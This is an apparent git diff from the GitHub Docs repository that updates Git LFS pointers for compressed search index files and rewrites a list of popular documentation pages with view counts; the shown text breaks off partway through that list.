sha256:713c76d2a04bb77d90d42f7efebe786abc91af2e91b50341d2f551c66e9a9488 -size 669583 +oid sha256:a3bbce825d340d3dc03af48de1881897f7abb8c10503fbdd75c84bac45387c69 +size 669526 diff --git a/lib/search/indexes/github-docs-3.2-ja.json.br b/lib/search/indexes/github-docs-3.2-ja.json.br index 08276f830c..19f022ee4f 100644 --- a/lib/search/indexes/github-docs-3.2-ja.json.br +++ b/lib/search/indexes/github-docs-3.2-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:58c12961937faffebb229c8b79d9c881757e2551fcc614f0dcf1dfc9760acbd1 -size 3560779 +oid sha256:e53484d8a4d5c075113135e3b8ab3c3f36824022653f24692a20a6c4d74b4943 +size 3561488 diff --git a/lib/search/indexes/github-docs-3.2-pt-records.json.br b/lib/search/indexes/github-docs-3.2-pt-records.json.br index 02fdd0a54d..6107c126fc 100644 --- a/lib/search/indexes/github-docs-3.2-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.2-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:9195189d42450ca667e9d0f00d5441cb52d163a3a719f4c880201966ae70e67e -size 613943 +oid sha256:2c00749199df157473d11104f702778c4992672f42c5f2b45d307a79413dae13 +size 613902 diff --git a/lib/search/indexes/github-docs-3.2-pt.json.br b/lib/search/indexes/github-docs-3.2-pt.json.br index 27b2789a8e..75b6107371 100644 --- a/lib/search/indexes/github-docs-3.2-pt.json.br +++ b/lib/search/indexes/github-docs-3.2-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5a63380775f99ae257ecc1abb40d472a6ca059fe7c45b6e8a397bae7ec132ccb -size 2599813 +oid sha256:38808720dbcf07cff19f78244e2ec59d30feabb6dcef26943df38aad081d9e0d +size 2600361 diff --git a/lib/search/indexes/github-docs-3.3-cn-records.json.br b/lib/search/indexes/github-docs-3.3-cn-records.json.br index c3fffac83e..b7ba9b7c79 100644 --- a/lib/search/indexes/github-docs-3.3-cn-records.json.br +++ b/lib/search/indexes/github-docs-3.3-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:dfc6373e70bc740e685d570c4cf9b3efb092da3b6774010542dcf87d8979fda8 -size 674470 +oid sha256:7f087c96551299f4c204fbebbb31b593ce2c691265ac2381da0037ab4e06edb1 +size 674658 diff --git a/lib/search/indexes/github-docs-3.3-cn.json.br b/lib/search/indexes/github-docs-3.3-cn.json.br index 706e0cbd6b..9fc0ab9ced 100644 --- a/lib/search/indexes/github-docs-3.3-cn.json.br +++ b/lib/search/indexes/github-docs-3.3-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:402b262b13da247572510ff99ee4ae5e2609d6ba23cfdfb8d32749123577ad72 -size 1478914 +oid sha256:62f0279e2e3e43c3f988110517ffc68c3371742b0686d9b76cf142b7645099c5 +size 1478763 diff --git a/lib/search/indexes/github-docs-3.3-en-records.json.br b/lib/search/indexes/github-docs-3.3-en-records.json.br index 981bc2b584..be0e70ddcb 100644 --- a/lib/search/indexes/github-docs-3.3-en-records.json.br +++ b/lib/search/indexes/github-docs-3.3-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:e0502135fcb834764dea1c2e8abc95da0328d4645d6203302f6eaaf8521eb5fe -size 1037030 +oid sha256:47b47acb155c7fb242210cff51220868cc0f03a18366a205d6da64eba3a0f27c +size 1037132 diff --git a/lib/search/indexes/github-docs-3.3-en.json.br b/lib/search/indexes/github-docs-3.3-en.json.br index faa1733d36..06346a746a 100644 --- a/lib/search/indexes/github-docs-3.3-en.json.br +++ b/lib/search/indexes/github-docs-3.3-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2533cb1d87d5d2cf0079e26220d2d4d2207dbfd7c01e69b480c8a68e2bb32e43 -size 4177679 +oid sha256:f630f0c024f20d23701806164ecf03fb9a68698efbf7d7e31024fc35d86d9030 +size 4179316 diff --git a/lib/search/indexes/github-docs-3.3-es-records.json.br b/lib/search/indexes/github-docs-3.3-es-records.json.br index 4b468a3a9b..08714955bd 100644 --- a/lib/search/indexes/github-docs-3.3-es-records.json.br +++ b/lib/search/indexes/github-docs-3.3-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c64c4340f39c010b58a0bc8ab6e247eabc4bc3b5cd696252171d2cd5b5598a9f -size 635062 +oid sha256:413ad9df0bddf6f51c9f46020634394384f746cd8676216d27e8401f4ff3198f +size 635011 diff --git a/lib/search/indexes/github-docs-3.3-es.json.br b/lib/search/indexes/github-docs-3.3-es.json.br index 77ae116c6d..00e894ca21 100644 --- a/lib/search/indexes/github-docs-3.3-es.json.br +++ b/lib/search/indexes/github-docs-3.3-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3e1d71fedc918d26773fb459ecdc77067c49b8e83c395e97b4daa28f47b1298d -size 2823924 +oid sha256:2546da84463cdb98a0cbd2ae9683d5c6dd84851830d787a9044f41e9a6c0a2e0 +size 2823363 diff --git a/lib/search/indexes/github-docs-3.3-ja-records.json.br b/lib/search/indexes/github-docs-3.3-ja-records.json.br index f7494100e1..92a1160eed 100644 --- a/lib/search/indexes/github-docs-3.3-ja-records.json.br +++ b/lib/search/indexes/github-docs-3.3-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:6cc1a20e0cdd54f985db1039f757d47446393dc72fe17641c5671c4d723d16c3 -size 691109 +oid sha256:cf7467a5915bc4ea1bb7f127cb792991b5ccae60938ec633128e13744c200373 +size 691145 diff --git a/lib/search/indexes/github-docs-3.3-ja.json.br b/lib/search/indexes/github-docs-3.3-ja.json.br index b9957f1e7c..36c2408a5d 100644 --- a/lib/search/indexes/github-docs-3.3-ja.json.br +++ b/lib/search/indexes/github-docs-3.3-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:705c1d1a30c612d8c2891c14ff84eef4a26e089e75c40f17a8cabaf0063a9c9e -size 3683391 +oid sha256:03c6678d5d8a43195decd8c69fbc8f0751326abf3715b66c3ad255cb99535e50 +size 3684038 diff --git a/lib/search/indexes/github-docs-3.3-pt-records.json.br b/lib/search/indexes/github-docs-3.3-pt-records.json.br index 6b378b7b1e..2835ed0522 100644 --- a/lib/search/indexes/github-docs-3.3-pt-records.json.br +++ b/lib/search/indexes/github-docs-3.3-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:6634e21968b023febe50455015fb7ad69b1092cdd7453d3e2cc7a5c48290ce85 -size 633117 +oid sha256:5aef481bb6c0f013afd6242a67ed57867c6d79e089982f0593161d481cb3cd8a +size 633275 diff --git a/lib/search/indexes/github-docs-3.3-pt.json.br b/lib/search/indexes/github-docs-3.3-pt.json.br index 3dd9d4c9b5..2e14346d30 100644 --- a/lib/search/indexes/github-docs-3.3-pt.json.br +++ b/lib/search/indexes/github-docs-3.3-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:a1d342f4113d49a764942d7c9162a0a5623dd032c8e8d2cce527faab34db8161 -size 2686151 +oid sha256:5a17c7f9598fee39ee313d822bc33b10711df65dc2c57d3e37f86fe011669743 +size 2685601 diff --git a/lib/search/indexes/github-docs-dotcom-cn-records.json.br b/lib/search/indexes/github-docs-dotcom-cn-records.json.br index a6c56d9f63..1d956f49f8 100644 --- a/lib/search/indexes/github-docs-dotcom-cn-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:6d94058fa74ddf12f95392139dcf8e65e3f68caeff3f2ce8c16ed843632adc1f -size 879765 +oid sha256:8e42c21b47e61499344b3cf7af4caf15ab93e29411ac481be641c44680873756 +size 879925 diff --git a/lib/search/indexes/github-docs-dotcom-cn.json.br b/lib/search/indexes/github-docs-dotcom-cn.json.br index d3c4051ef0..13c35a78d8 100644 --- a/lib/search/indexes/github-docs-dotcom-cn.json.br +++ b/lib/search/indexes/github-docs-dotcom-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:0657e04522516c12e1e1428bec2194e98177be2325d430db221a12a54b3c6034 -size 1662234 +oid sha256:d3eba62e82e6511c1f34c6120b5e35b8252276b9621bfd6d213da3f4a86a96bb +size 1661706 diff --git a/lib/search/indexes/github-docs-dotcom-en-records.json.br b/lib/search/indexes/github-docs-dotcom-en-records.json.br index 90e3fc223f..e205bb177a 100644 --- a/lib/search/indexes/github-docs-dotcom-en-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c10c60a9a72a4fff0de370af8ec55126d0aea1125593963081fce2030d666114 -size 1318639 +oid sha256:252463d4acd6a3d97e22245adffbfb75148a41efb0212f29a472ead5825eff9e +size 1325772 diff --git a/lib/search/indexes/github-docs-dotcom-en.json.br b/lib/search/indexes/github-docs-dotcom-en.json.br index 4a70034306..1e9a263c7f 100644 --- a/lib/search/indexes/github-docs-dotcom-en.json.br +++ b/lib/search/indexes/github-docs-dotcom-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:a32b57c995ce5efb8fb1f4b83b33d2e882e18ad73cd5a93fbd18bd89e0bb163f -size 5048516 +oid sha256:a5b7992b5cf7251c0ac4a332f8e0832e94ee5f2a4d512753e10e16c7811a1917 +size 5048402 diff --git a/lib/search/indexes/github-docs-dotcom-es-records.json.br b/lib/search/indexes/github-docs-dotcom-es-records.json.br index 5e9a8499c2..76dcbd0a67 100644 --- a/lib/search/indexes/github-docs-dotcom-es-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d04a66ddd529d60961d242c00d274ea4c0ac14817763beba6b1ee1c0317af398 -size 811450 +oid sha256:204c15f4518cea4d3b7a3633732e548e482e9307eb8fafa1c547b8aaf51020f3 +size 811588 diff --git a/lib/search/indexes/github-docs-dotcom-es.json.br b/lib/search/indexes/github-docs-dotcom-es.json.br index 36b09aac34..7d7d1e86d7 100644 --- a/lib/search/indexes/github-docs-dotcom-es.json.br +++ b/lib/search/indexes/github-docs-dotcom-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d700f400ee4c295b7e186731274e53d9d2c793d15af8f400ce343f3d77c57654 -size 3429344 +oid sha256:b231b180b3ac6d6e7ad84bfd27ef7e6e2a96ada10d6be378c16cb2498fe2e3aa +size 3429655 diff --git a/lib/search/indexes/github-docs-dotcom-ja-records.json.br b/lib/search/indexes/github-docs-dotcom-ja-records.json.br index a33111ef77..a8bc255672 100644 --- a/lib/search/indexes/github-docs-dotcom-ja-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:133a67a9695b15167b7e88b49af1866c6fb732e643c0977e79631e5b8fa8f4bc -size 898297 +oid sha256:9ee7e426755a44430fb4f02f93557c8d792028d51264cf1c70cd16e68c37f321 +size 898541 diff --git a/lib/search/indexes/github-docs-dotcom-ja.json.br b/lib/search/indexes/github-docs-dotcom-ja.json.br index 1cbe8a6584..cf8064f3ea 100644 --- a/lib/search/indexes/github-docs-dotcom-ja.json.br +++ b/lib/search/indexes/github-docs-dotcom-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:f550fa05497ed63c213275b7fc219114876bc57e7bbaa2f420447c15a79324a4 -size 4580412 +oid sha256:a173f3037f401915ba98a226a539452f477ba08e86c75e5ce0b067741d3a9622 +size 4581308 diff --git a/lib/search/indexes/github-docs-dotcom-pt-records.json.br b/lib/search/indexes/github-docs-dotcom-pt-records.json.br index 40b785e173..9564ed1178 100644 --- a/lib/search/indexes/github-docs-dotcom-pt-records.json.br +++ b/lib/search/indexes/github-docs-dotcom-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:4f574936614fe36a6ae45b4a61e75cdcb885ae35cb9c6a0f3136820036755e35 -size 809216 +oid sha256:94d4f18330dbd51b288d11b02bf0f83b68ff1e499da7b3ca23aec0d1c4686c12 +size 809173 diff --git a/lib/search/indexes/github-docs-dotcom-pt.json.br b/lib/search/indexes/github-docs-dotcom-pt.json.br index fd83898e3d..56c20f49d4 100644 --- a/lib/search/indexes/github-docs-dotcom-pt.json.br +++ b/lib/search/indexes/github-docs-dotcom-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:55e103bd305ec074beff8d216afe778cc27eb82f4da7afa22c59dfbf0db11706 -size 3277871 +oid sha256:6cf163e3139867d55e4a731c725379114e5c9a5b0a3f6e15c321136455e587d8 +size 3276997 diff --git a/lib/search/indexes/github-docs-ghae-cn-records.json.br b/lib/search/indexes/github-docs-ghae-cn-records.json.br index 34e2c0f224..a8a3c6dfe1 100644 --- a/lib/search/indexes/github-docs-ghae-cn-records.json.br +++ b/lib/search/indexes/github-docs-ghae-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3760aa8ea5ac94ea95420dddd34641b051e7b4ec30915345f3530922fea0698c -size 508645 +oid sha256:d9a29d7f50847cf83747cc863b4fe0f84fbee423315d7d5b9b8fc6774a30b136 +size 508621 diff --git a/lib/search/indexes/github-docs-ghae-cn.json.br b/lib/search/indexes/github-docs-ghae-cn.json.br index 46ace6d962..e0a6b25630 100644 --- a/lib/search/indexes/github-docs-ghae-cn.json.br +++ b/lib/search/indexes/github-docs-ghae-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:ef68bf11ac17a462611a512a940bedf6ee37b4948ad78a12b7241945b6c45d96 -size 1050887 +oid sha256:4b65929f3324b20a3c8ed9895830cfbe623ae104085a5ee4de942378e8c1bf55 +size 1051132 diff --git a/lib/search/indexes/github-docs-ghae-en-records.json.br b/lib/search/indexes/github-docs-ghae-en-records.json.br index 3e20a0d434..1fd91eb1f6 100644 --- a/lib/search/indexes/github-docs-ghae-en-records.json.br +++ b/lib/search/indexes/github-docs-ghae-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d685fd05b0a8d5b39119839cd3fca90e920b80bcf7b941e7867f55f649265314 -size 800143 +oid sha256:8a89671a8fb3823191b3a59a2d32b08e387ace0604d6434df1553373a0ecd6be +size 799974 diff --git a/lib/search/indexes/github-docs-ghae-en.json.br b/lib/search/indexes/github-docs-ghae-en.json.br index 63c0770d16..2db43cce9c 100644 --- a/lib/search/indexes/github-docs-ghae-en.json.br +++ b/lib/search/indexes/github-docs-ghae-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:201f2d0309d2ef61fbe03fb8a9572d50faef1e1c6cdfc8ea0f7ad39ce2aaefe3 -size 3210357 +oid sha256:67cc8ba8e588ab31d9cec0d375589a4be75ec8ef042a64ff1a6e75bf6f5db23f +size 3210734 diff --git a/lib/search/indexes/github-docs-ghae-es-records.json.br b/lib/search/indexes/github-docs-ghae-es-records.json.br index 0b65569bc0..aa3c6a2744 100644 --- a/lib/search/indexes/github-docs-ghae-es-records.json.br +++ b/lib/search/indexes/github-docs-ghae-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:8d5b06658c957f20186a820772bb0c1589fd7abb2efcf4ec9fde666b0e89433f -size 481487 +oid sha256:8bead9614fe31f2aa96aa5edec8c0dbebbe571bf64bac9047fe44ea27c60c8a8 +size 481289 diff --git a/lib/search/indexes/github-docs-ghae-es.json.br b/lib/search/indexes/github-docs-ghae-es.json.br index 6c76d121c8..85d2870f07 100644 --- a/lib/search/indexes/github-docs-ghae-es.json.br +++ b/lib/search/indexes/github-docs-ghae-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:d08d5491c36bb200c00775dcfc51aa3a799c030816eb44110bfee2c65c817dda -size 2043633 +oid sha256:85c9ee56b0309a861e519a3070207efc5dc785121b3d8a6be27ff78ab23619d6 +size 2043066 diff --git a/lib/search/indexes/github-docs-ghae-ja-records.json.br b/lib/search/indexes/github-docs-ghae-ja-records.json.br index 8c33558921..6adacc9d3f 100644 --- a/lib/search/indexes/github-docs-ghae-ja-records.json.br +++ b/lib/search/indexes/github-docs-ghae-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3c3573ac5e8142d6fd6587123c0639c897f2730d569889749992409058277da6 -size 521482 +oid sha256:333f2c9608bf4ab238c2af4bf8d588418178a68e1907654682ffe79025738d5d +size 521452 diff --git a/lib/search/indexes/github-docs-ghae-ja.json.br b/lib/search/indexes/github-docs-ghae-ja.json.br index a360e4d94d..2ac3f7b666 100644 --- a/lib/search/indexes/github-docs-ghae-ja.json.br +++ b/lib/search/indexes/github-docs-ghae-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3d65a1ac3e7de3d0335449555225c47e6a6407c00c41c72a9a6d9a63470fef5c -size 2656121 +oid sha256:91bf8dc84f7d96435dca5f5400f27c6dcd265756942dc286c21dbc6ba0c9c969 +size 2656578 diff --git a/lib/search/indexes/github-docs-ghae-pt-records.json.br b/lib/search/indexes/github-docs-ghae-pt-records.json.br index 8c04500f34..023bfc3d48 100644 --- a/lib/search/indexes/github-docs-ghae-pt-records.json.br +++ b/lib/search/indexes/github-docs-ghae-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:a0aa8a9e732d0bf38625a72612d931dfa061f7df12bd576cce9f5cc13689867c -size 479517 +oid sha256:a0a93e96e733899c17749dfe95f67f09f74ff948c95584faa8d52a9cef131c51 +size 479465 diff --git a/lib/search/indexes/github-docs-ghae-pt.json.br b/lib/search/indexes/github-docs-ghae-pt.json.br index e6128c7960..fe09f327fd 100644 --- a/lib/search/indexes/github-docs-ghae-pt.json.br +++ b/lib/search/indexes/github-docs-ghae-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:909df27ab9388fcc04b8cf4447ff2bb934f15273421c22b63beb8f2be9cfe7c7 -size 1948913 +oid sha256:25f2c3b1f13b405bb4c2eb06b32dc6152994909921636bd00e3f39fa96090588 +size 1949124 diff --git a/lib/search/indexes/github-docs-ghec-cn-records.json.br b/lib/search/indexes/github-docs-ghec-cn-records.json.br index 9927f531c5..18cc23e329 100644 --- a/lib/search/indexes/github-docs-ghec-cn-records.json.br +++ b/lib/search/indexes/github-docs-ghec-cn-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:4cd4e6608899d5c1603d0dca908d5b90b3f96d1f58a734ca17c3a68d344c62b2 -size 783532 +oid sha256:830a27c3f0059d2e36cb3bda22ccafe2bca2346bfa31d38cd18c56b4ef96ff9a +size 783550 diff --git a/lib/search/indexes/github-docs-ghec-cn.json.br b/lib/search/indexes/github-docs-ghec-cn.json.br index 4d9b3716e7..558a374b1e 100644 --- a/lib/search/indexes/github-docs-ghec-cn.json.br +++ b/lib/search/indexes/github-docs-ghec-cn.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:250c2b622b71c9c2aed432c70286c4c2d9f952752755665d9591307e82d12634 -size 1673008 +oid sha256:cb29b43c8413972c77da526bf10ac4e8f5d91d43751a3351113e9ef61a0c3e69 +size 1672646 diff --git a/lib/search/indexes/github-docs-ghec-en-records.json.br b/lib/search/indexes/github-docs-ghec-en-records.json.br index 1536b9ce97..755825eb21 100644 --- a/lib/search/indexes/github-docs-ghec-en-records.json.br +++ b/lib/search/indexes/github-docs-ghec-en-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:0ef2ceca1736161d1af2a577e91b7193c588dfc4eaf45abb4bf3afaced86894b -size 1177705 +oid sha256:cd5da029bab36eeaf6d18eb337d468ec35b16bd9121552e08602e1688ead8323 +size 1177667 diff --git a/lib/search/indexes/github-docs-ghec-en.json.br b/lib/search/indexes/github-docs-ghec-en.json.br index c2460deb75..4fe00f0b48 100644 --- a/lib/search/indexes/github-docs-ghec-en.json.br +++ b/lib/search/indexes/github-docs-ghec-en.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:120c94f61d04cd370aab54cd9880230478055c52fd42d452cb37a1b21662aa21 -size 4735374 +oid sha256:338baef09149fc3a984d1104a5589bc89b1f4d66dc7159e4f18553484c17b38e +size 4735406 diff --git a/lib/search/indexes/github-docs-ghec-es-records.json.br b/lib/search/indexes/github-docs-ghec-es-records.json.br index 2c659501e9..cdd3d02fb5 100644 --- a/lib/search/indexes/github-docs-ghec-es-records.json.br +++ b/lib/search/indexes/github-docs-ghec-es-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:3e4af62e3af813c1aeeb5c42758b9ab90041d4dc2f255a641c6722754e6ce3ca -size 747612 +oid sha256:afba73e2b6c2dd78bdd82d7039565a83c3db8e37d65f6ec9ca63cfe1ba00466e +size 747771 diff --git a/lib/search/indexes/github-docs-ghec-es.json.br b/lib/search/indexes/github-docs-ghec-es.json.br index 86f87d29b2..f6c58fb558 100644 --- a/lib/search/indexes/github-docs-ghec-es.json.br +++ b/lib/search/indexes/github-docs-ghec-es.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:31d9ff776f03ff59b72950bf87661e80d32a470e4ca1656cd4f06901b7ada7d2 -size 3333026 +oid sha256:0d0068360fe7490b2abc3b091b539917b4a4608e59625854e416d9752f4a4c09 +size 3333078 diff --git a/lib/search/indexes/github-docs-ghec-ja-records.json.br b/lib/search/indexes/github-docs-ghec-ja-records.json.br index d2279fe21f..53b6f5258e 100644 --- a/lib/search/indexes/github-docs-ghec-ja-records.json.br +++ b/lib/search/indexes/github-docs-ghec-ja-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:652113026758e4d06cd370d6dbaef230b01d284cba8df20af63b80253c76d8ab -size 806256 +oid sha256:5e0a3fe8b0e6f422da7436d93ccb7482ba98b68a5cfb2bf7127c4e8e1e69b7d2 +size 806354 diff --git a/lib/search/indexes/github-docs-ghec-ja.json.br b/lib/search/indexes/github-docs-ghec-ja.json.br index 0066d3d091..e029af985a 100644 --- a/lib/search/indexes/github-docs-ghec-ja.json.br +++ b/lib/search/indexes/github-docs-ghec-ja.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:203f01d9d9713cbad88496413e7c93a018ae6582c4c0ce581963c1b639450fea -size 4323267 +oid sha256:f3fb77852d3daeaa20cf4d366594b9bec3e31b135e5eb6120b2a29fce937f071 +size 4322619 diff --git a/lib/search/indexes/github-docs-ghec-pt-records.json.br b/lib/search/indexes/github-docs-ghec-pt-records.json.br index 0c4263e5ab..73f3bef1bb 100644 --- a/lib/search/indexes/github-docs-ghec-pt-records.json.br +++ b/lib/search/indexes/github-docs-ghec-pt-records.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:c45c829f4934adc4f86479a30d8d38db4c95bf1ae73a28164ef8db8cf2d57a4b -size 746893 +oid sha256:b2ba243fa871d159004d5f23c0293e3f69e8ea7dbad6360e3c1d2569e9d369c0 +size 746634 diff --git a/lib/search/indexes/github-docs-ghec-pt.json.br b/lib/search/indexes/github-docs-ghec-pt.json.br index ca870b895d..7f0b7dfb91 100644 --- a/lib/search/indexes/github-docs-ghec-pt.json.br +++ b/lib/search/indexes/github-docs-ghec-pt.json.br @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5c806102e4e63c9971e3d194b098c2eeaf8099f185d0112d30b28ee691775190 -size 3173239 +oid sha256:0b58ab2d7c9c4bc6b82043f6839a67297d5641ff604e8cc9535407fc80a10e46 +size 3173757 diff --git a/lib/search/popular-pages.json b/lib/search/popular-pages.json index bf65323c32..7dcb649a27 100644 --- a/lib/search/popular-pages.json +++ b/lib/search/popular-pages.json @@ -1,1000 +1,1000 @@ -{"path_article": "index", "path_count": 561711} -{"path_article": "authentication/connecting-to-github-with-ssh", "path_count": 474040} -{"path_article": "authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent", "path_count": 437021} -{"path_article": "authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token", "path_count": 431760} -{"path_article": "authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account", "path_count": 333514} -{"path_article": "pages", "path_count": 309032} -{"path_article": "github/site-policy/github-terms-of-service", "path_count": 262978} -{"path_article": "github/site-policy/github-privacy-statement", "path_count": 249006} -{"path_article": "codespaces", "path_count": 134888} -{"path_article": "rest", "path_count": 132526} -{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line", "path_count": 130949} -{"path_article": "get-started/quickstart/set-up-git", "path_count": 129461} -{"path_article": "actions/learn-github-actions/workflow-syntax-for-github-actions", "path_count": 128378} -{"path_article": "authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys", "path_count": 127577} -{"path_article": "github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax", "path_count": 115796} -{"path_article": "get-started/getting-started-with-git/managing-remote-repositories", "path_count": 114591} -{"path_article": "repositories/creating-and-managing-repositories/cloning-a-repository", "path_count": 114422} -{"path_article": "actions", "path_count": 111646} -{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication", "path_count": 99786} -{"path_article": "rest/reference/repos", "path_count": 99619} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests", "path_count": 94968} -{"path_article": "get-started/getting-started-with-git/about-remote-repositories", "path_count": 86514} -{"path_article": "authentication/troubleshooting-ssh/error-permission-denied-publickey", "path_count": 82605} -{"path_article": "account-and-profile", "path_count": 80881} -{"path_article": "authentication", "path_count": 80317} -{"path_article": "get-started/getting-started-with-git/setting-your-username-in-git", "path_count": 78170} -{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site", "path_count": 71305} -{"path_article": "get-started", "path_count": 69783} -{"path_article": "actions/learn-github-actions/events-that-trigger-workflows", "path_count": 69634} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address", "path_count": 69563} -{"path_article": "get-started/learning-about-github/githubs-products", "path_count": 68934} -{"path_article": "github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message", "path_count": 68578} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address", "path_count": 66097} -{"path_article": "get-started/quickstart", "path_count": 61492} -{"path_article": "get-started/getting-started-with-git/caching-your-github-credentials-in-git", "path_count": 61301} -{"path_article": "get-started/learning-about-github/types-of-github-accounts", "path_count": 58613} -{"path_article": "actions/learn-github-actions", "path_count": 55286} -{"path_article": "authentication/connecting-to-github-with-ssh/testing-your-ssh-connection", "path_count": 54502} -{"path_article": "get-started/quickstart/fork-a-repo", "path_count": 53239} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository", "path_count": 52403} -{"path_article": null, "path_count": 49547} -{"path_article": "authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases", "path_count": 49474} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository", "path_count": 48620} -{"path_article": "pages/getting-started-with-github-pages", "path_count": 47573} -{"path_article": "github", "path_count": 47377} -{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request", "path_count": 47207} -{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop", "path_count": 46133} -{"path_article": "github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line", "path_count": 45901} -{"path_article": "get-started/learning-about-github/access-permissions-on-github", "path_count": 45689} -{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews", "path_count": 45097} -{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile", "path_count": 44747} -{"path_article": "actions/learn-github-actions/environment-variables", "path_count": 43647} -{"path_article": "get-started/getting-started-with-git/ignoring-files", "path_count": 43396} -{"path_article": "get-started/quickstart/create-a-repo", "path_count": 42986} -{"path_article": "actions/learn-github-actions/contexts", "path_count": 40779} -{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards", "path_count": 40261} -{"path_article": "authentication/managing-commit-signature-verification", "path_count": 38896} -{"path_article": "pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site", "path_count": 37848} -{"path_article": "get-started/using-git/pushing-commits-to-a-remote-repository", "path_count": 37611} -{"path_article": "repositories/working-with-files/managing-files/adding-a-file-to-a-repository", "path_count": 37581} -{"path_article": "pages/getting-started-with-github-pages/about-github-pages", "path_count": 37387} -{"path_article": "get-started/signing-up-for-github/verifying-your-email-address", "path_count": 